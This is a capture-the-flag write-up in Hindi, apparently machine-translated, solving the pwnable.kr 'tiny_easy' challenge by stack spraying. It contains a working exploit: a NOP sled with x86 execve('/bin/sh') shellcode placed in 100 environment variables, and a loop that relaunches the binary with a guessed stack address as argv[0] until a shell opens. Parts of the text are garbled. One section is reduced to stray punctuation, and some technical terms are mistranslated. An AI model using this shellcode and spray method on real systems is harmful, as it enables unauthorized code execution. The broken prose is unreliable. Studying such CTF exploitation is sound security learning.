🥘 ⛹🏾 🦐 समस्या को हल करने में pwnable.kr 27 - tiny_easy। स्टैक छिड़काव को समझना ✒️ 🎼 ✋🏾

इस लेख में, हम pwnable.kr साइट से 27 वें कार्य को हल करेंगे और हम समझेंगे कि स्टैक छिड़काव क्या है।

संगठनात्मक जानकारी

, - , :

PWN;
(Crypto);
c (Network);
(Reverse Engineering);
(Stegano);
WEB-.

, , , .

, , Telegram . , , .

. , - , .

छोटे से काम का समाधान

Tyni_easy हस्ताक्षर आइकन पर क्लिक करें। हमें ssh के माध्यम से कनेक्ट करने के लिए पता और पोर्ट दिया गया है।

हम SSH के माध्यम से जुड़े हुए हैं और हम ध्वज और कार्यक्रम को स्रोत कोड के बिना पहले से ही देखते हैं।

फ़ाइल की जाँच के परिणामस्वरूप, हमें पता चलता है कि इसकी कोई सुरक्षा नहीं है।

प्रोग्राम को डिस्क्लेमर में डाउनलोड करें। फ़ाइल बहुत छोटी है और बस कुछ निर्देशों का पालन करती है।

बहुत शुरुआत में, कार्यक्रम ईएएक्स रजिस्टर में स्टैक से मूल्य निकालता है, जिसके बाद यह ईडीएक्स में एक दूसरे को निकालता है और इस पते पर नियंत्रण स्थानांतरित करता है। लेकिन कार्यक्रम की शुरुआत में स्टैक पर क्या स्थित है? उस क्षण के ढेर में बहुत समान argc (प्रोग्राम आर्ग्युमेंट की संख्या), argv (प्रोग्राम आर्गुमेंट्स के एक पॉइंटर के लिए पॉइंटर) और envp (एनवायरनमेंट वेरिएबल्स की एक सरणी के लिए पॉइंटर) होता है।

इस प्रकार, EDX में, पता को प्रोग्राम तर्क की सरणी के पहले तत्व पर रखा जाएगा, यानी निष्पादन योग्य फ़ाइल के लिए पूर्ण पथ पर! इसलिए, इसे एक कोड के रूप में निष्पादित करने की कोशिश कर रहा है, एप्लिकेशन को क्रैश होना चाहिए। अगर आप जांच करते हैं, तो यह पता चला है।

स्टैक छिड़काव एक ऐसा हमला है जो एप्लिकेशन की मेमोरी में त्रुटियों का उपयोग करता है, जो एप्लिकेशन को बड़ी संख्या में दुर्भावनापूर्ण कोड वाली वस्तुओं के लिए मेमोरी आवंटित करने के लिए मजबूर करता है। इससे एक शोषण की सफलता की संभावना बढ़ जाती है, जो निष्पादन प्रवाह को कुछ स्थिति में स्थानांतरित करता है। यह समझना महत्वपूर्ण है कि बिना किसी शोषण के जो आपको निष्पादन के प्रवाह को बदलने की अनुमति देता है, यह हमला कोई नुकसान नहीं करेगा। हमला प्रक्रिया पता स्थान में पते की भविष्यवाणी पर आधारित है।

ऑपरेटिंग सिस्टम में एक प्रक्रिया बनाते समय, इसकी आवश्यकताओं के लिए एक पता स्थान आवंटित किया जाता है, जिसमें उपयोगकर्ता डेटा, निष्पादन योग्य कोड और कुछ सिस्टम जानकारी स्थित होती है, जो विशिष्ट ऑपरेटिंग सिस्टम पर निर्भर करती है। तो, स्टैक सेगमेंट में, एक ऑटोमैटिक प्लेसमेंट क्लास वाले वेरिएबल्स को स्टोर किया जाता है, साथ ही हर बार फंक्शन को स्टोर करने वाली जानकारी को भी कहा जाता है, उदाहरण के लिए, स्टैटिक वेरिएबल्स और फंक्शन को कॉल करने पर रिटर्न एड्रेस। स्टैक छिड़काव के मामले में, हम पर्यावरण चर पर काम करते हैं जिसमें शोषण स्थित है।

इस तरह हम स्टैक पर पर्यावरण चर में शेलकोड की व्यवस्था कर सकते हैं। लेकिन हम उसके सामने बहुत सारे एनओपी ऑपरेशन करेंगे, क्योंकि हम सही पते पर पहुंचने में असमर्थ होने की संभावना नहीं है।

import os
import subprocess

payload =  "\x90"*4096 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"

चूंकि कार्यक्रम 0xff ****** पते से शुरू होता है, इसलिए हम इस वातावरण से स्टैक के लिए यादृच्छिक पता लेते हैं, उदाहरण के लिए, 0xffbbbbbb।

addr = "\xb0\xaf\xb5\xff"

अब हम अपने शेलकोड के साथ कुछ पर्यावरण चर बनायेंगे, ताकि इसके प्राप्त होने की संभावना अधिक हो।

envs = {}
for i in range(0,100):  
    envs["env"+str(i)] = payload

और कई बार हम अपने मापदंडों के साथ कार्यक्रम चलाते हैं।

while True:
	p = subprocess.Popen([addr], executable="/home/tiny_easy/tiny_easy", env=envs)
	p.wait()

पूर्ण कोड चलाने के बाद, हमें एक शेल मिलता है।

आगे और अधिक ... आप टेलीग्राम पर हमसे जुड़ सकते हैं । आइए एक समुदाय को एक साथ रखें जिसमें ऐसे लोग होंगे जो आईटी के कई क्षेत्रों में पारंगत हैं, फिर हम हमेशा किसी भी आईटी और सूचना सुरक्षा मुद्दों पर एक दूसरे की मदद कर सकते हैं।

समस्या को हल करने में pwnable.kr 27 - tiny_easy। स्टैक छिड़काव को समझना

छोटे से काम का समाधान

More articles: